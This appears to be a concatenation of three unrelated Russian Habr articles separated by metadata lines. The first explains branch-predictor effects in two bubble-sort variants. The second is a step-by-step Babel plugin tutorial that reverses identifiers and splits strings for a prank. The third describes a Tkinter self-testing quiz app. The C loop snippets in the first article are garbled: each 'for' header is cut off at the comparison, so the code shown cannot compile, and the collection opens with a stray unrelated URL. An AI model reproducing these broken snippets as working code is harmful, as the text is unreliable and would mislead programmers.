* [www.cyberciti.biz/tips/linux-netconsole-log-management-tutorial.html](http://www.cyberciti.biz/tips/linux-netconsole-log-management-tutorial.html) | https://habr.com/ru/post/131220/ | null | ru | null |
# Пузырьки, кэши и предсказатели переходов
Эта заметка написана по мотивам одного любопытного [поста](http://blog.gamedeff.com/?p=268), краткий коммент её же автора к которому сподвиг меня разобраться в происходящем поподробнее. Предлагается сравнить две вариации алгоритма сортировки пузырьком. Первая из них – обычный пузырёк, с небольшой оптимизацией — внутренний цикл можно закончить немного раньше, зная, что оставшаяся часть массива уже отсортирована:
`for (i=0; i
for (j=0; j
if (a[j] > a[j+1])
swap(a[j], a[j+1]);`
Во втором варианте внутренний цикл проходит по другой части массива, однако алгоритмически этот вариант эквивалентен первому (подробности ниже):
`for (i=0; i
for (j=i; j>=0; j--)
if (a[j] > a[j+1])
swap(a[j], a[j+1]);`
Запускаем ([код](http://pastebin.com/f66ef25e1)), например, для N=100 000 на массиве int'ов, и получаем около 30 секунд в первом случае, и меньше 10 секунд — во втором, то есть отличие **в 3 раза**! Откуда же тогда берётся такая разница?
Для начала проверяем, что дело не в оптимизациях компилятора. В этом легко убедиться, сгенерировав и сравнив ассемблерные коды в обоих случаях. Либо можно отключить оптимизацию. Или же можно переписать код на ассемблере (например, используя ассемблерные вставки). В любом случае эффект сохраняется.
Далее, как проверить, что оба варианта эквиваленты? Например, можно вывести в строку сравниваемые значения a[j], a[j+1] и соответствующее значение j, отсортировать получившийся список, а затем сравнить их построчно (конечно же, разумно это делать для небольших N). Оказывается, что списки совпадают, а значит в обоих случаях выполняются одни и те же сравнения и одни и те же присваивания, и разница заключается только в порядке выполнения этих операций.
Ага, скажут некоторые, но мы ведь знаем другие примеры, когда в зависимости от порядка выполнения операций зависит время их выполнения. Например, есть же разница между последовательным и случайным доступом к памяти, даже если мы будем считывать одни и те же данные. В этом случае дело в том, что обращение к памяти – достаточно долгий процесс, и процессор практически простаивает в то время, когда он мог выполнять сотни инструкций. Однако при последовательном доступе эти задержки амортизируются за счёт процессорных кэшей, куда копируется сразу большое количество данных, и доступ к которым осуществляется существенно быстрее.
Но заметим, что в нашем случае объём данных не такой и большой – 100’000 int’ов это всего лишь 400Кб, в то время как современные процессоры обладают кэшами L2 от мегабайта и больше. Кроме того, в обоих случаях мы последовательно обращаемся к элементам массива, поэтому задержки обращения к памяти опять же амортизируются. Наконец, если уменьшать N, то всё равно наблюдается то же самое отличие в 3 раза. Поэтому, здесь кэши хоть и играют свою роль, но не являются основной причиной наблюдаемого эффекта.
Чтобы разобраться в происходящем и проверить предыдущее утверждение, проанализируем оба варианта при помощи процессорных счётчиков. Эти счётчики подсчитывают число выполненных инструкций, обращений к кэшам, количество произошедших ветвлений, и многие другие параметры. Для снятия показаний я использовал интеловскую (пробную версию — да-да, не ждите халявы, тут вам не гугл!) VTune Performance Analyzer, но существуют и другие способы. Запускаем, выполняется анализ, и получаем на выходе (P4 Prescott, L1 16Кб, L2 2Мб, первый вариант vs. второй):
Выполненных инструкций: 40 vs. 35 (·109)
Промахов кэша L2: 1.1 vs. 1.8 (·109)
Промахов кэша L1: 1.6 vs. 0.4 (·106)
Итак, что отсюда следует? Во-первых, промахов кэша первого уровня в расчёте на инструкцию приходится очень мало, а поэтому и соответствующие задержки не так значительны. Во-вторых, промахов кэша второго уровня всё же достаточно много, но оказывается, что во втором варианте промахи случаются даже чаще, чем в первом! Результаты на других процессорах могут быть немного другие (в частности, может быть ещё кэш L3, которого нет на моём процессоре), но думаю, что общая картина останется примерно такой же.
Итак, дело не в кэшах. Но посмотрим на дополнительные результаты анализа:
Количество переходов (ветвлений, branches): 1.0 vs. 1.0 (·1010)
Ошибок предсказателя переходов (mispredicted branches): **0.16 vs. 0.00009** (·1010)
Небольшое отступление для тех, кто, как и я был до недавнего времени, не знаком с такой интересной вещью, как [предсказатель переходов](http://ru.wikipedia.org/wiki/Предсказатель_переходов) ([branch predictor](http://en.wikipedia.org/wiki/Branch_predictor)) — как ни странно, я не нашёл топиков о нём на хабре.
Вы наверняка знаете, что современные процессоры за счёт [конвейера инструкций](http://ru.wikipedia.org/wiki/Конвейер_(процессор)) ([instruction pipeline](http://en.wikipedia.org/wiki/Instruction_pipeline)) выполняют не одну инструкцию за другой последовательно, а сразу несколько инструкций параллельно, и затем объединяют результаты. Однако последовательность инструкций может зависеть от результатов условных переходов, как в нашем примере — в случае, если a[j]>a[j+1], то выполняется перестановка элементов, а в противном случае — нет. Тут на помощь приходит предсказатель переходов, который пытается догадаться, будет ли выполнент переход или нет, и в соответствии с этим выбираются инструкции для конвейера.
Предсказатель переходов может быть статическим и динамическим. Динамический пытается предсказать переход, основываясь на истории предыдущих переходов. В случае, если эта история ещё не набрана, применяется статический предсказатель, но он в нашем случае не важен. На тему статических и динамических предсказателей мне понравилась [эта статья](http://softwarecommunity.intel.com/articles/eng/3431.htm) (англ.), хотя в реальности всё, конечно, сложнее.
Насколько же важен предсказатель переходов и его ошибки? Википедия сообщает, что на современных процессорах задержка составляет десятки тактов, что ~~не так уж и много~~ само по себе много ([leotsarev](https://habrahabr.ru/users/leotsarev/)). Однако, кроме того, отсутствие таких ошибок может означать очень хорошую выгоду, поскольку за счёт большой длины конвейера процессор может «заглянуть» на много инструкций вперёд. В этом можно убедиться при помощи следующего кода:
`for (i=0; i
for (j=0; j
if (p[j]) с++;`
Здесь p[] – массив, определяющий, нужно ли выполнять условный переход, или нет, а счётчик служит просто для различения этих двух событий. В случае, если все значения p[j] одинаковы, то через несколько итераций переход уже хорошо предсказуем. Если же p[j] сгенерировано некоторым, например, периодическим образом, то предсказуемость перехода будет зависеть от реализации предсказателя. Но при случайном заполнении массива предсказать следующий переход, при определённых ограничениях, нельзя. Нужно отметить, что размер массива M важен – если массив будет слишком большим, то он может плохо кэшироваться, а если слишком маленьким – то переход можно будет предсказать.
На моём компьютере время выполнения этого кода различается в 4-6 раз в зависимости от степени случайности заполнения массива. В случае, если выполнять более сложную операцию, чем увеличение счётчика, например, перестановку элементов массива, то различие уменьшается, но не намного. Таким образом, наличие или отсутствие ошибок предсказателя переходов могут привести к разнице во времени выполнения в несколько раз, что и наблюдается в нашей исходной задаче.
Согласно приведённым выше результатам анализа, в первом варианте сортировки ошибки предсказателя происходят в 16% случаях, а во втором – в 1000 раз реже. Почему так получается? Это можно понять, рассмотрев, как происходит сортировка в обоих случаях.
В первом случае, при небольших i внутренний цикл по j пробегает почти до конца массива, не трогая лишь отсортированный «хвост». Изначально данные в этой части массива неупорядочены, и поэтому условие a[j]>a[j+1] выполняется практически случайно. При увеличении i происходит некоторое упорядочивание элементов за счёт перестановок, но всё равно остаётся большая доля случайности ([анимация](http://ru.wikipedia.org/wiki/Файл:Bubble_sort_animation.gif)). Поэтому предсказать переход достаточно сложно, что и приводит к большому числу ошибок предсказателя.
Во втором случае, при i=0 внутренний цикл лишь сортирует a[0] и a[1], при i=1 он добавляет a[2], и так далее. Фактически, это [сортировка вставками](http://ru.wikipedia.org/wiki/Сортировка_вставками) (но не бинарными) — на i-ом шаге происходит вставка элемента a[i+1] в уже отсортированный подмассив a[0..i] ([анимация](http://en.wikipedia.org/wiki/File:Insertion_sort_animation.gif)). Поскольку элемент вставляется с конца подмассива, то в большинстве случаев будет выполняться последовательное перемещение этого элемента до необходимой позиции в массиве, и значение условия p[j]>p[j+1] будет одинаковым до того, как он её достигнет. Таким образом, после нескольких итераций переход легко предсказать, чему предсказатель переходов, похоже, несказанно рад. | https://habr.com/ru/post/73726/ | null | ru | null |
# Пишем babel плагин, пошаговое руководство
Сегодня я поделюсь с вами пошаговым руководством как написать свой **[babel](https://babeljs.io/docs/en/babel-core)** плагин. Вы сможете использовать эти знания для автоматизации правок, рефакторинга или кодогенерации.
### Что такое babel?
Babel это JavaScript компилятор, который в основном используют для конвертации кода на ECMAScript 2015+ в обратно совместимый с текущими и более старыми браузерами или окружениями. Babel использует систему плагинов для преобразования кода, поэтому кто угодно может написать свой плагин.
Перед тем как мы начнем писать плагин, нужно узнать что такое [AST](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)(абстрактное синтаксическое дерево).
### Что такое AST?
Я не уверен что могу объяснить это лучше, чем уже сделано в отличных материалах из Сети:
* **[Leveling Up One’s Parsing Game With ASTs](https://medium.com/basecs/leveling-up-ones-parsing-game-with-asts-d7a6fc2400ff)** от **[Vaidehi Joshi](https://twitter.com/vaidehijoshi)** *(Рекомендую эту статью*)
* Википедия: **[Абстрактное синтаксическое дерево](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)**
* **[What is an Abstract Syntax Tree](https://blog.bitsrc.io/what-is-an-abstract-syntax-tree-7502b71bde27)** от **[Chidume Nnamdi](https://twitter.com/ngArchangel)**
Подводя итог, AST это древовидная структура вашего кода. В случае с JavaScript, AST JavaScript следует спецификации [estree](https://github.com/estree/estree).
AST представляет собой структуру и значения вашего кода. Таким образом AST позволяет компиляторам вроде babel, понимать код и делать в нем конкретные осмысленные преобразования.
Теперь, когда вы знаете что такое AST, давайте напишем плагин для преобразования кода используя эти знания.
### Как использовать babel для преобразования кода?
Пример ниже, это общий шаблон использования babel для трансформации кода:
```
import { parse } from '@babel/parser';
import traverse from '@babel/traverse';
import generate from '@babel/generator';
const code = 'const n = 1';
// парсим код в ast
const ast = parse(code);
// изменяем ast
traverse(ast, {
enter(path) {
// в этом примере мы меняем все переменные `n` на `x`
if (path.isIdentifier({ name: 'n' })) {
path.node.name = 'x';
}
},
});
// генерируем код обратно из ast
const output = generate(ast, code);
console.log(output.code); // 'const x = 1;'
```
Вам нужно установить `@babel/core` для запуска данного примера. `@babel/parser`, `@babel/traverse`, `@babel/generator` все это зависимости `@babel/core` поэтому его установки будет достаточно.
Основная идея состоит в том чтобы распарсить ваш код в AST, изменить AST и после сгенерировать из него код.
```
Код -> AST -> измененное AST -> измененный код
```
Однако, мы можем использовать другое babel API записав пример выше следующим образом:
```
import babel from '@babel/core';
const code = 'const n = 1';
const output = babel.transformSync(code, {
plugins: [
// наш первый babel плагин
function myCustomPlugin() {
return {
visitor: {
Identifier(path) {
// в этом примере мы меняем все переменные `n` на `x`
if (path.isIdentifier({ name: 'n' })) {
path.node.name = 'x';
}
},
},
};
},
],
});
console.log(output.code); // 'const x = 1;'
```
Это наш первый babel плагин который заменяет все переменные с именем `n` на `x`, разве не круто?
Выделите функцию `myCustomPlugin` в отдельный файл и экспортируйте её. [Опубликуйте npm пакет](https://medium.com/@bretcameron/how-to-publish-your-first-npm-package-b224296fc57b) и сможете гордо сказать что сделали babel плагин!
К этому моменту вы должно быть думаете: "Да, мы написали babel плагин, но я все еще не представляю как это работает...". Не волнуйтесь, сейчас мы погрузимся глубже в то как написать плагин самостоятельно.
### 1. Представьте что и во что вы хотите превратить
В следующем примере я хочу разыграть своего коллегу созданием плагина который будет:
* переворачивать названия переменных и функций
* разделять строки на отдельные символы
До:
```
function greet(name) {
return 'Hello ' + name;
}
console.log(greet('tanhauhau')); // Hello tanhauhau
```
После:
```
function teerg(eman) {
return 'H' + 'e' + 'l' + 'l' + 'o' + ' ' + eman;
}
console.log(teerg('t' + 'a' + 'n' + 'h' + 'a' + 'u' + 'h' + 'a' + 'u')); // Hello tanhauhau
```
Мы сохранили `console.log`, поэтому несмотря на то что код сложно читать, он все еще нормально работает. (Я ведь не хочу сломать код на продакшене!)
### 2. Знайте на что *нацелиться* в AST
Воспользуемся **[babel AST explorer](https://lihautan.com/babel-ast-explorer/#?eyJiYWJlbFNldHRpbmdzIjp7InZlcnNpb24iOiI3LjQuNSJ9LCJ0cmVlU2V0dGluZ3MiOnsiaGlkZUVtcHR5Ijp0cnVlLCJoaWRlTG9jYXRpb24iOnRydWUsImhpZGVUeXBlIjp0cnVlfSwiY29kZSI6ImZ1bmN0aW9uIGdyZWV0KG5hbWUpIHtcbiAgcmV0dXJuICdIZWxsbyAnICsgbmFtZTtcbn1cblxuY29uc29sZS5sb2coZ3JlZXQoJ3RhbmhhdWhhdScpKTsgLy8gSGVsbG8gdGFuaGF1aGF1In0=),** наведите курсором на разные части кода и наблюдайте как они представлены в AST:
Если это первый раз когда вы видите AST, поэкспериментируйте с ним чуть дольше, чтобы понять как связаны части дерева и код.
Итак, теперь мы знаем что нам нужна *цель*:
* **Identifier** для переменных и названий функций
* **StringLiteral** для строк.
### 3. Представьте как выглядит преобразованный AST
Вернемся снова в **[babel AST explorer](https://lihautan.com/babel-ast-explorer/#?eyJiYWJlbFNldHRpbmdzIjp7InZlcnNpb24iOiI3LjQuNSJ9LCJ0cmVlU2V0dGluZ3MiOnsiaGlkZUVtcHR5Ijp0cnVlLCJoaWRlTG9jYXRpb24iOnRydWUsImhpZGVUeXBlIjp0cnVlfSwiY29kZSI6ImZ1bmN0aW9uIGdyZWV0KG5hbWUpIHtcbiAgcmV0dXJuICdIZWxsbyAnICsgbmFtZTtcbn1cblxuY29uc29sZS5sb2coZ3JlZXQoJ3RhbmhhdWhhdScpKTsgLy8gSGVsbG8gdGFuaGF1aGF1In0=)**, но в этот раз с кодом который мы хотим сгенерировать:
Поиграйте с этим кодом и подумайте как мы можем превратить предыдущее AST дерево в текущее.
Например мы видим что `'H' + 'e' + 'l' + 'l' + 'o' + ' ' + eman` сформирован вложенными бинарными выражениями(`BinaryExpression`) со строковыми литералами(`StringLiteral`)
### 4. Пишем код
Взглянем на наш код снова:
```
function myCustomPlugin() {
return {
visitor: {
Identifier(path) {
// ...
},
},
};
}
```
Преобразование кода использует [паттерн посетителя](https://refactoring.guru/ru/design-patterns/visitor) так же известный как *visitor*.
Во время обхода дерева, babel с помощью [поиска в глубину](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%B2_%D0%B3%D0%BB%D1%83%D0%B1%D0%B8%D0%BD%D1%83) обойдет каждый узел AST дерева. Мы можем указать колбэк в `visitor`, таким образом каждый раз когда будет найден новый узел, babel вызовет колбэк с таким узлом.
В объекте `visitor` можно уточнить название какого узла будет срабатывать колбэк:
```
function myCustomPlugin() {
return {
visitor: {
Identifier(path) {
console.log('идентификатор');
},
StringLiteral(path) {
console.log('строковый литерал');
},
},
};
}
```
Запустив код выше, вы увидите вывод `идентификатор` и `строковый литерал` всякий раз когда babel будет их находить:
```
идентификатор
идентификатор
строковый литерал
идентификатор
идентификатор
идентификатор
идентификатор
строковый литерал
```
Прежде чем продолжить, давай посмотрим на параметр `Identifer(path) {}`. Он называется `path` вместо `node`, в чем между ними разница?
В babel, `path` это абстракция над узлом, которая обеспечивает связь между ними, предоставляя доступ к такой информации как родительский узел, области видимости, контексту и т.д. Кроме этого `path` предоставляет методы, такие как `replaceWith`, `insertBefore`, `remove` и прочие, которые могут повлиять на исходный AST узел.
Вы можете узнать больше деталей о `path` в [руководстве по babel](https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#paths) от [Jamie Kyle](https://jamie.build/)
Продолжим писать плагин.
### Меняем порядок букв имен переменных
Как мы видели в **[babel AST explorer](https://lihautan.com/babel-ast-explorer/#?eyJiYWJlbFNldHRpbmdzIjp7InZlcnNpb24iOiI3LjQuNSJ9LCJ0cmVlU2V0dGluZ3MiOnsiaGlkZUVtcHR5Ijp0cnVlLCJoaWRlTG9jYXRpb24iOnRydWUsImhpZGVUeXBlIjp0cnVlfSwiY29kZSI6ImZ1bmN0aW9uIGdyZWV0KG5hbWUpIHtcbiAgcmV0dXJuICdIZWxsbyAnICsgbmFtZTtcbn1cblxuY29uc29sZS5sb2coZ3JlZXQoJ3RhbmhhdWhhdScpKTsgLy8gSGVsbG8gdGFuaGF1aGF1In0=)**, название идентификатора хранится в свойстве `name`, исходя из этого, обратный порядок букв в названиях переменных реализуется так:
```
Identifier(path) {
path.node.name = path.node.name
.split('')
.reverse()
.join('');
}
```
После запуска мы увидим:
```
function teerg(eman) {
return 'Hello ' + eman;
}
elosnoc.gol(teerg('tanhauhau')); // Hello tanhauhau
```
Мы почти добились цели исключая тот факт что функция console.log так же подверглась изменениям. Как мы можем это предотвратить?
Снова взглянем на AST:
`console.log` является частью `MemberExpression`, c `object` — `"console"` и `property` — `"log"`
Поэтому мы будем проверять, если наш текущий идентификатор содержится внутри `MemberExpression`, то не будем менять порядок букв:
```
if (
!(
path.parentPath.isMemberExpression() &&
path.parentPath
.get('object')
.isIdentifier({ name: 'console' }) &&
path.parentPath.get('property').isIdentifier({ name: 'log' })
)
) {
path.node.name = path.node.name
.split('')
.reverse()
.join('');
}
}
```
Да, теперь это работает правильно!
```
function teerg(eman) {
return 'Hello ' + eman;
}
console.log(teerg('tanhauhau')); // Hello tanhauhau
```
Итак, почему мы проверяем что `Identifier` родителя не является `console.log` `MemberExpression`? Почему бы просто не сделать проверку что `Identifier.name === 'console' || Identifier.name === 'log'`?
Мы можем так сделать, однако тогда переменные названные `console` or `log` не будут изменены:
```
const log = 1;
```
Как узнать методы `isMemberExpression` и `isIdentifier`? Все типы узлов описанные в [@babel/types](https://babeljs.io/docs/en/babel-types) имеют функцию валидатор типа `isXxxx`, например функция `anyTypeAnnotation` будет иметь валидатор `isAnyTypeAnnotation`. Если вы хотите получить полный список функций валидаторов, можете ознакомиться с [исходным кодом](https://github.com/babel/babel/blob/master/packages/babel-types/src/validators/generated/index.js)
### Трансформируем строки
Следующим шагом является создание вложенного `BinaryExpression` из строкового литерала.
Чтобы создать узел в AST, можно использовать утилиту из `[@babel/types](https://babeljs.io/docs/en/babel-types)`:
```
StringLiteral(path) {
const newNode = path.node.value
.split('')
.map(c => babel.types.stringLiteral(c))
.reduce((prev, curr) => {
return babel.types.binaryExpression('+', prev, curr);
});
path.replaceWith(newNode);
}
```
Мы разделили содержание `StringLiteral`, которое находится в `path.node.value`, cделали каждый символ отдельным `StringLiteral` и объединили с помощью `BinaryExpression`. И наконец заменили `StringLiteral` новым узлом.
…И на этом все! За исключением того факта что запустив, мы столкнемся с переполнением стека:
`RangeError: Maximum call stack size exceeded`
Почему?
Так происходит потому, что на каждый `StringLiteral` мы создаем `StringLiteral`, на которые тоже в свою очередь создаем `StringLiteral`. Несмотря на то что мы заменяем один `StringLiteral` другим `StringLiteral`, babel будет считать это за добавление нового узла, в результате чего сработает колбэк, вызвав бесконечную рекурсию и как следствие переполнение стека.
Итак, как можно сказать babel что после того как мы заменили `StringLiteral` на `newNode`, он может остановится и больше не искать новые узлы?
Мы можем использовать `path.skip()` для того чтобы пропустить обход дочерних элементов:
```
StringLiteral(path) {
const newNode = path.node.value
.split('')
.map(c => babel.types.stringLiteral(c))
.reduce((prev, curr) => {
return babel.types.binaryExpression('+', prev, curr);
});
path.replaceWith(newNode);
path.skip();
}
```
…Теперь это работает без переполнения стека!
### Итог
Вот такой у нас получился плагин для babel:
```
const babel = require('@babel/core');
const code = `
function greet(name) {
return 'Hello ' + name;
}
console.log(greet('tanhauhau')); // Hello tanhauhau
`;
const output = babel.transformSync(code, {
plugins: [
function myCustomPlugin() {
return {
visitor: {
StringLiteral(path) {
const concat = path.node.value
.split('')
.map(c => babel.types.stringLiteral(c))
.reduce((prev, curr) => {
return babel.types.binaryExpression('+', prev, curr);
});
path.replaceWith(concat);
path.skip();
},
Identifier(path) {
if (
!(
path.parentPath.isMemberExpression() &&
path.parentPath
.get('object')
.isIdentifier({ name: 'console' }) &&
path.parentPath.get('property').isIdentifier({ name: 'log' })
)
) {
path.node.name = path.node.name
.split('')
.reverse()
.join('');
}
},
},
};
},
],
});
console.log(output.code);
```
Краткое описание шагов, которые мы сделали:
1. Представили что и во что будем превращать
2. Нашли на что будем *нацелены* в AST
3. Узнали как будет выглядеть измененное AST
4. Написали код
### Дополнительная информация
Если вы хотите узнать больше, [репозиторий babel на GitHub](https://github.com/babel/babel/tree/master/packages) лучшее место чтобы найти примеры различных преобразований с помощью babel.
Взгляните на <https://github.com/babel/babel>, и найдите директории `babel-plugin-transform-*` или `babel-plugin-proposal-*`, все они все являются плагинами-преобразователями, среди них можно найти как babel трансформирует [nullish coalescing operator](https://github.com/babel/babel/tree/master/packages/babel-plugin-proposal-nullish-coalescing-operator), [optional chaining](https://github.com/babel/babel/tree/master/packages/babel-plugin-proposal-optional-chaining) и многое другое.
### Ссылки
* **[документация Babel](https://babeljs.io/docs/en/)** & **[Github](https://github.com/babel/babel)**
* **[Babel Handbook](https://github.com/jamiebuilds/babel-handbook)** от **[Jamie Kyle](https://jamie.build/)**
* **[Leveling Up One’s Parsing Game With ASTs](https://medium.com/basecs/leveling-up-ones-parsing-game-with-asts-d7a6fc2400ff)** от **[Vaidehi Joshi](https://twitter.com/vaidehijoshi)**
--- | https://habr.com/ru/post/490456/ | null | ru | null |
# Создание APP для самотестирования (Python)
На базе GUI библиотеки Tkinter Недавно от знакомых прилетела задачка написать программу для *самотестирования*. Порылся в инете, думал в лёгкую найду наработки, но ничего кроме платных и бесплатных конструкторов тестов не нашёл (*может плохо искал, кто знает…*). Мне показалось, что устанавливать какие-то инородные проги, а потом ещё туда все вопросы ручками забивать - *совсем некрасиво*. Так родилось приложение для самотестирования, написанное на *Python* с помощью GUI библиотеки *Tkinter*.
> В первую очередь нужно было составить требования к структуре файла, чтобы не пришлось писать *всеобъемлющий* парсер на регулярках.
>
>
Я обозначил следующие требования:
* Каждый вопрос должен начинаться с числа и точки (*метка для идентификации вопросов*)
* Каждый ответ может начинаться с любого символа, но затем обязательно должна идти скобка (*метка для идентификации ответов*)
* Правильные варианты ответа должны быть отмечены знаком *"+"* (*метка для идентификации правильных ответов*)
* Вариантов ответа должно быть ровно 5:
!Если ответов меньше ПЯТИ, то их НУЖНО добить пустыми, например, если их три то добавить 4) и 5)
!Если вариантов ответа более ПЯТИ, то приложение не будет корректно работать
Ограничения по количеству ответов можно обойти, если при запуске программы попросить пользователя ввести максимальное кол-во ответов в вопросе и в автомате добивать недостающие ответы пустышками посредством алгоритмических ухищрений. Однако пока я не стал этого реализовывать, ибо не увидел *великой надобности* :)
*Пример содержимого txt файла:*
Пример файла с тестом
> Напомню, что построение программы с помощью Tkinter основывается на СОП (событийно-ориентированном программировании). При таком подходе в [коде](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4_(%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80)) явным образом выделяется главный цикл приложения, тело которого состоит из двух частей: выборки события и обработки события.
>
>
В моём случае главный цикл представляет из себя class Block, который вызывается в mainloop():
```
#########################
# Блок обработки событий.
#########################
class Block:
# Инициализация объектов
def __init__(self, master):
# счетчик количества вопросов
self.qc = 0
# счетчик количества правильных ответов
self.true_points = 0
# *Здесь отображено лишь начало Block
```
```
#################
# Основной цыкл.
#################
window = tk.Tk()
window.title('Конструктор тестов (VladislavSoren)')
window.resizable(width=False, height=False)
window.geometry('720x480+400+100')
window['bg'] = 'grey'
first_block = Block(window)
window.mainloop()
```
*Выборки события* представляют из себя интерфейс взаимодействия с пользователем, т.е. виджеты (кнопки, чекбоксы и т.п.). *Обработчиками событий* являются функции класса (*методы*), которые вызываются, когда произошло то или иное событие, например, пользователь нажал кнопку.
*Для большего понимания происходящего пробежимся по алгоритму работы программы, а потом рассмотрим каждый этап в отдельности:*
**1. Пользователь указывает путь к txt файлу с тестом.**
Окно выбора файла**2. Производится парсинг содержимого теста, т.е. формируются список вопросов и список ответов.**
**3. Пользователь выбирает режим работы (Рандомный порядок вопросов vs обычный порядок).**
Окно выбора режима**4. Генерируется список с порядком вопросов.**
**5. «Правильные ответы» пользователь отмечает в чекбоксах.**
Пользователь отметил ответы**6. Затем пользователь нажимает кнопку "Ответить". После данного события система переходит в состояние проверки, где:**
* Истинно-правильные ответы подсвечиваются зелёным
* Изменяется статус индикатора. Если ошибок НЕТ, то индикатор примет значение "Всё верно", иначе "Есть ошибки"
* Если "Всё верно", то увеличивается счётчик верных ответов на единицу
Пользователь нажал кнопку "Ответить"**7. После того, как пользователь проанализировал свой ответ, он нажимает кнопку "Следующий". После данного события система переходит в состояние смены вопроса, где:**
* Счётчик вопросов увеличивается на единицу
* Меняется вопрос и ответы
* Статус индикатора изменяется на исходный «Выберите ответы:»
Пользователь нажал кнопку "Следующий"**8. Когда пользователь ответил на последний вопрос и нажал "Следующий", то высвечивается кол-во правильных ответов за весь тест.**
 Пользователь ответил на последний вопрос и нажал кнопку "Следующий"*А теперь немного поподробнее:*
**1. Пользователь указывает путь к txt файлу с тестом.**
```
################################
# Загрузка теста и его парсинг
################################
window = tk.Tk()
# Пользователь указывает путь к txt файлу
text_path = filedialog.askopenfilename(title='Выберите тест')
window.destroy()
```
**2. Производится парсинг содержимого теста, т.е. формируются список вопросов, список ответов и вектор меток.**
```
# разделяем файл на строки по пробелам
Text = Text.split(sep='\n')
# отделяем вопросы
pattern = r'^\d{1,3}\.' # строка начинается с 1 или 3 цыфр, а затем идёт точка (ограничение на 999 вопросов!!!)
Text_q = [i for i in Text if len(re.findall(pattern, i)) != 0]
print('Всего вопросов:', len(Text_q))
# отделяем ответы
pattern = r'^.\)' # строка начинается с одного любого символа, а затем идёт скобка
Text_a = [i for i in Text if len(re.findall(pattern, i)) != 0]
print('Всего ответов:', len(Text_a))
```
Далее проходимся по ответам и создаём отдельный вектор с метками правильных ответов формата [1 0 0 0 1 0…], как раз для этого и были нужны *«+»* при разметке файла.
После данного шага получаем список вопросов *Test\_q*, список ответов БЕЗ меток *Test\_a* и вектор меток *flags*.
**3. Пользователь выбирает режим работы (Рандомный порядок вопросов vs обычный порядок).**
```
################################################################
# Выбор режима (Рандомный порядок вопросов vs обычный порядок).
################################################################
window = tk.Tk()
window.title('Конструктор тестов (VladislavSoren)')
window.resizable(width=False, height=False)
window.geometry('240x60+600+300')
window['bg'] = 'white'
# функция закрытия окна при выборе рандомного режима
def accept():
window.destroy()
RandomState = tk.IntVar() # в данную переменную записывается состояние box (1 или 0)
box = Checkbutton(window, text='Включить случайный порядок?',
variable=RandomState,
font=('Arial Bold', 10),
relief='solid',
bd='1'
)
box['command']=accept
box.place(x=12, y=20)
window.mainloop()
```
Здесь главным действующим лицом выступает *CheckButton* (Чекбокс). Если пользователь ставит в боксе галочку, то переменная *RandomState* примет значение 1, иначе будет равна 0.
Как только пользователь поставил галку – окно закрывается, а *RandomState*=1. Если же нам НЕ нужен рандомный режим, то просто можно закрыть всплывающее окно.
**4. Генерируется список с порядком вопросов.**
```
#######################################
# Получение списка с порядком вопросов.
#######################################
Text_q_dict = {}
for i, q in enumerate(Text_q):
Text_q_dict[i] = q
np1 = np.arange(len(Text_q))
order_list = np1.tolist()
# Если выбран рандомный режим, то перемешиваем порядок вопросов
if RandomState.get():
random.shuffle(order_list)
```
При выборе рандомного режима order\_list будет вида [2 0 3 1 5 4].
**5. «Правильные ответы» пользователь отмечает в чекбоксах.**
Тут комментарии излишни.
**6. Затем пользователь нажимает кнопку "Ответить". Система переходит в состояние проверки.**
Кратко опишу структуру *class Block*, который вызывается в главном цикле *mainloop()*.
```
# Инициализация объектов
def __init__(self, master):
# счетчик количества вопросов
self.qc = 0
# счетчик количества правильных ответов
self.true_points = 0
# Инициализация вопроса и ответов
self.quest = scrolledtext.ScrolledText(window, width=75,height=5)
index = order_list[self.qc] # индекс вопроса определяем по order_list
self.quest.insert(tk.INSERT, Text_q[index])
```
Метод *\_\_inite\_\_* выполняется единожды при создании объекта класса, т.е. в нём происходит инициализация всех объектов, создаются виджеты и все необходимые привязки событий.
Вот основные привязки:
```
# Инициализация лэйблов и кнопок
self.mark = tk.Label(window, text='Выберите ответы: ', font=('Arial Bold', 12), fg='Green', bg='white')
self.ButGiveAns = Button(text='Ответить', font=('Arial Bold', 12)) # кнопка перехода в состояние "ПРОВЕРКА"
self.ButGiveAns['command'] = self.show_res
self.ButNext = Button(text='Следующий', font=('Arial Bold', 12)) # кнопка перехода в состояние "СМЕНА ВОПРОСА"
self.ButNext['command'] = self.next_q
```
При нажатии кнопки «Ответить» вызовется метод *show\_res*:
```
# Функция обработки события "ПРОВЕРКА" (нажатие кнопки "Ответить")
def show_res(self):
# определяем текущий индекс вопроса
index = order_list[self.qc]
# создаем вектор таргетов и ответов
targets = flags[5*index : 5*index + 5]
answers = np.zeros(5)
answers[0] = self.check1.get() # записываем состояние box1 (0 или 1) в нулевой бит вектора answers
answers[1] = self.check2.get()
answers[2] = self.check3.get()
answers[3] = self.check4.get()
answers[4] = self.check5.get()
# подсвечиваем истинно верные ответы зелёным цветом (задний фон чекбоксов)
for i, box in enumerate([self.box1, self.box2, self.box3, self.box4, self.box5]):
if targets[i] == 1:
box['bg'] = 'green'
# проверка ответа пользователя (сравнение вектора ответа с вектором таргета)
if (targets == answers).sum() == 5:
self.mark['text'] = 'Всё верно' # меняем текст метки на статус "Всё верно"
self.true_points += 1 # исли всё верно, то накидываем очко
else:
self.mark['text'] = 'Есть ошибки'
```
Главное на что стоит обратить внимание - за индекс мы берём значение из списка *order\_list*. Например, ели мы на втором вопросе (*self.qc*=1), а *order\_list* = [2 0 3 1 5 4], то индекс будет равен 0.
При нажатии кнопки «Следующий» вызовется метод *next\_q*. О нём в следующем пункте.
